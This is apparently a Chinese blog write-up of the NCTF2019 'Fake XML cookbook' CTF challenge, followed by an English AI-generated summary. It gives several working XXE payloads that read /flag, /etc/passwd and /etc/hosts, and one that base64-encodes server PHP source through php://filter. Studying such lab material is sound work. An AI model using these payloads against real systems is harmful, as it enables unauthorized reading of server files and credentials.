[NCTF2019]Fake XML cookbook

本文介绍了一种利用XML外部实体(XXE)漏洞的方法来尝试绕过登录验证的过程。通过构造特殊的payload,尝试读取服务器上的敏感文件。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

在这里插入图片描述
题目是一个登录框,试了试弱密码登录不了,抓包看一下。
在这里插入图片描述
发现传递的参数是xml格式,可能存在XXE漏洞。
payload:

<!DOCTYPE any [<!ENTITY a SYSTEM "file:///flag">]>
<user><username>&a;</username><password>admin</password></user>

在这里插入图片描述
具体的XXE攻击可以查看另一篇博客
https://blog.youkuaiyun.com/weixin_43749601/article/details/114014875

### NCTF2019 True XML Challenge Solutions and Walkthrough In the context of the NCTF2019 competition, several challenges involved exploiting XXE (XML External Entity) vulnerabilities within XML documents to achieve various objectives such as file reading or server-side request forgery. #### Exploiting Basic XXE Vulnerability An example payload that demonstrates a basic XXE attack is shown below: ```xml <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE note [ <!ENTITY admin SYSTEM "file:///etc/hosts"> ]> <user> <username>&admin;</username> <password>1</password> </user> ``` This payload attempts to read the contents of `/etc/hosts` by defining an external entity `admin`, which references this system file[^2]. #### Advanced File Reading with Different Protocols When direct access using the `file://` protocol does not work due to restrictions imposed by some parsers, alternative protocols can be used. For instance, PHP's filter wrapper allows for more sophisticated attacks where files are encoded before being sent back to the attacker: ```xml <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE xxe [ <!ENTITY xee SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/doLogin.php"> ]> <user> <username>&xee;</username> <password>123123</password> </user> ``` Here, instead of directly accessing the target file via its path, the content of `doLogin.php` gets base64-encoded through PHP’s filtering mechanism prior to transmission[^4]. #### Targeting Specific Files on Server For scenarios requiring specific sensitive information like flags stored somewhere accessible only internally, crafting payloads targeting these locations becomes crucial: ```xml <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE note [ <!ENTITY admin SYSTEM "file:///flag"> ]> <user> <username>&admin;</username> <password>123456</password> </user> ``` The above code snippet aims at retrieving flag data located under root directory named 'flag'[^3]. #### General Approach Against Black Box Systems Even without detailed knowledge about internal structures, one could still attempt common paths known across many systems: ```xml <?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]> <user><username> &xxe; </username><password> 1 </password></user> ``` By referencing well-known Unix/Linux configuration files (`/etc/passwd`) in the entity definition, attackers may gain insights into underlying OS configurations even when no explicit details were provided initially[^5]. --related questions-- 1. How do different web application frameworks handle XML parsing differently? 2. What measures should developers take to prevent XXE attacks effectively? 3. Can you provide examples of real-world incidents caused by XXE vulnerabilities? 4. Are there any tools specifically designed for detecting XXE flaws during security audits? 5. In what ways has modern software development mitigated risks associated with XXE issues over time?
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值